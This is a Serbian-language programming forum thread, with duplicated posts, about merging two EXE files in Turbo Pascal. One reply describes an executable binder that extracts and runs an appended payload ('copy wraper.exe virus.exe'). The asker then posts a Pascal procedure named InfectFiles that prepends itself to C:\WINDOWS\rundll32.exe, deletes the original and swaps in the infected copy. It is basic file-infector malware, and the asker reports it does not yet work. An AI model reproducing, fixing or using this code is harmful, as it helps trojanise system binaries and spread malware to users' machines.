Pisem jedan program u Turbo Pascalu 7.0. Da li postoji neki potprogram koji spaja dva exe fajla u jedan (pisan u pascalu, naravno
) ?
Exe+Exe u Pascalu ???
Zaključano
Zakačeno
ti bi da pravish viruse?!? :D
elem, ne znam da li postoji programce, ali ja sam o radio rucno (i ne, nije bio virus, ali ipak jeste bio TSR program ;)
elem, ovako sam ja resio:
1) definisem varijablu original, longint tipa, i postavim je na recimo 1000
2) napravim programce koje otvara svoj exe fajl (za citanje), sa BufferRead (valjda bese) citam sve karaktere od hiljditog (u stvari od pozicije zapisane u original promenjivoj), do kraja fajla, upisujem u neki temp exe fajl, i izvrsavam ga.
3) iskompajliram ovaj program, i pogledam velicinu exe fajla.
4) vratim se u source, izmeni pocetnu vrednost original varijable na velicinu exe fajla, i to je to.
posle samo iskopiram ovaj fajl i zeljeni u jedan (copy wraper.exe virus.exe veliki.exe) i to je to...
elem, ne znam da li postoji programce, ali ja sam o radio rucno (i ne, nije bio virus, ali ipak jeste bio TSR program ;)
elem, ovako sam ja resio:
1) definisem varijablu original, longint tipa, i postavim je na recimo 1000
2) napravim programce koje otvara svoj exe fajl (za citanje), sa BufferRead (valjda bese) citam sve karaktere od hiljditog (u stvari od pozicije zapisane u original promenjivoj), do kraja fajla, upisujem u neki temp exe fajl, i izvrsavam ga.
3) iskompajliram ovaj program, i pogledam velicinu exe fajla.
4) vratim se u source, izmeni pocetnu vrednost original varijable na velicinu exe fajla, i to je to.
posle samo iskopiram ovaj fajl i zeljeni u jedan (copy wraper.exe virus.exe veliki.exe) i to je to...
Ajde daj mi source code, ako ga imash plzzzzzzz
tesko.. sorry..
to je bilo pre skoro 10 godina (dobro, mozda ne 10, ali ima preko 5-6 sigurno)
trebalo bi mi pola dana da nadjem to na nekim starim backup cd-ovima (ako je uopste na nekom, i ako taj cd uopste moze da se cita)..
elem, ne bi trebalo da bude tesko. procitaj ovo moje opet, pogledaj help za tu funkciju bufferread (ili kako bese, nisam programirao u paskalu vec 3-4 god.)
sorry again..
to je bilo pre skoro 10 godina (dobro, mozda ne 10, ali ima preko 5-6 sigurno)
trebalo bi mi pola dana da nadjem to na nekim starim backup cd-ovima (ako je uopste na nekom, i ako taj cd uopste moze da se cita)..
elem, ne bi trebalo da bude tesko. procitaj ovo moje opet, pogledaj help za tu funkciju bufferread (ili kako bese, nisam programirao u paskalu vec 3-4 god.)
sorry again..
Probao sam ovo, sa BufferRead, ne postoji ta naredba ( da nije mozda BlockRead ??? ). Ovo, sa Block Read sam probao, oce. Velicina kombinovanog exe fajla je dobra = zbir dva exe fajla koje ocu da spojim. Ali bre drugi program nece da radi, tj. radi samo prvi, onaj koji je na pocetku exe fajla. Evo source koda :
Procedure InfectFiles;
Begin
Assign(fil1a,ParamStr(0)); { Assignuje program }
Assign(fil2a,'C:\WINDOWS\rundll32.exe'); { Assignuje rundll32.exe }
SetFAttr(fil1a,faArchive); { Setuje atribute na Archive za prvi fajl }
SetFAttr(fil2a,faArchive); { Isto kao gornji red, samo za 2. fajl}
Assign(fil3a,'C:\WINDOWS\infected.exe'); {Assignuje fajl infected.exe }
Reset(fil1a,1); { Resetuje 1. fajl }
Reset(fil2a,1); { Resetuje 2. fajl }
ReWrite(fil3a,1); { Brise 3. fajl i sprema ga za pisanje }
repeat
BlockRead(fil1a, Buf, SizeOf(Buf), NumRead); { cita prvi ...}
BlockWrite(fil3a, Buf, NumRead, NumWritten);{ i upisuje u 3. fajl }
until (NumRead = 0) or (NumWritten <> NumRead);
repeat
BlockRead(fil2a, Buf, SizeOf(Buf), NumRead); {cita drugi ...}
BlockWrite(fil3a, Buf, NumRead, NumWritten);{i dodaje u 3. fajl}
until (NumRead = 0) or (NumWritten <> NumRead);
Close(fil1a);{ zatvara fajlove }
Close(fil2a);
Close(fil3a);
Erase(fil2a);
Rename(fil3a,'C:\WINDOWS\rundll32.exe'); { preimenuje fajl infected.exe u rundll32.exe }
End;
{ Posle izvrshenja ovog koda, Rundll32.exe je kombinacija 1. i 2. fajla, ali samo 1. radi ! Zasto ??? }
Procedure InfectFiles;
Begin
Assign(fil1a,ParamStr(0)); { Assignuje program }
Assign(fil2a,'C:\WINDOWS\rundll32.exe'); { Assignuje rundll32.exe }
SetFAttr(fil1a,faArchive); { Setuje atribute na Archive za prvi fajl }
SetFAttr(fil2a,faArchive); { Isto kao gornji red, samo za 2. fajl}
Assign(fil3a,'C:\WINDOWS\infected.exe'); {Assignuje fajl infected.exe }
Reset(fil1a,1); { Resetuje 1. fajl }
Reset(fil2a,1); { Resetuje 2. fajl }
ReWrite(fil3a,1); { Brise 3. fajl i sprema ga za pisanje }
repeat
BlockRead(fil1a, Buf, SizeOf(Buf), NumRead); { cita prvi ...}
BlockWrite(fil3a, Buf, NumRead, NumWritten);{ i upisuje u 3. fajl }
until (NumRead = 0) or (NumWritten <> NumRead);
repeat
BlockRead(fil2a, Buf, SizeOf(Buf), NumRead); {cita drugi ...}
BlockWrite(fil3a, Buf, NumRead, NumWritten);{i dodaje u 3. fajl}
until (NumRead = 0) or (NumWritten <> NumRead);
Close(fil1a);{ zatvara fajlove }
Close(fil2a);
Close(fil3a);
Erase(fil2a);
Rename(fil3a,'C:\WINDOWS\rundll32.exe'); { preimenuje fajl infected.exe u rundll32.exe }
End;
{ Posle izvrshenja ovog koda, Rundll32.exe je kombinacija 1. i 2. fajla, ali samo 1. radi ! Zasto ??? }
Jel neko zna ovo za Delphi?
Ja nisam uspeo, ali niste naveli varijable, pa nisam znao sta treba da navedem
Ja nisam uspeo, ali niste naveli varijable, pa nisam znao sta treba da navedem
Potpis
Avram,
http://www.eyesburn.co.sr/
http://www.eyesburn.co.sr/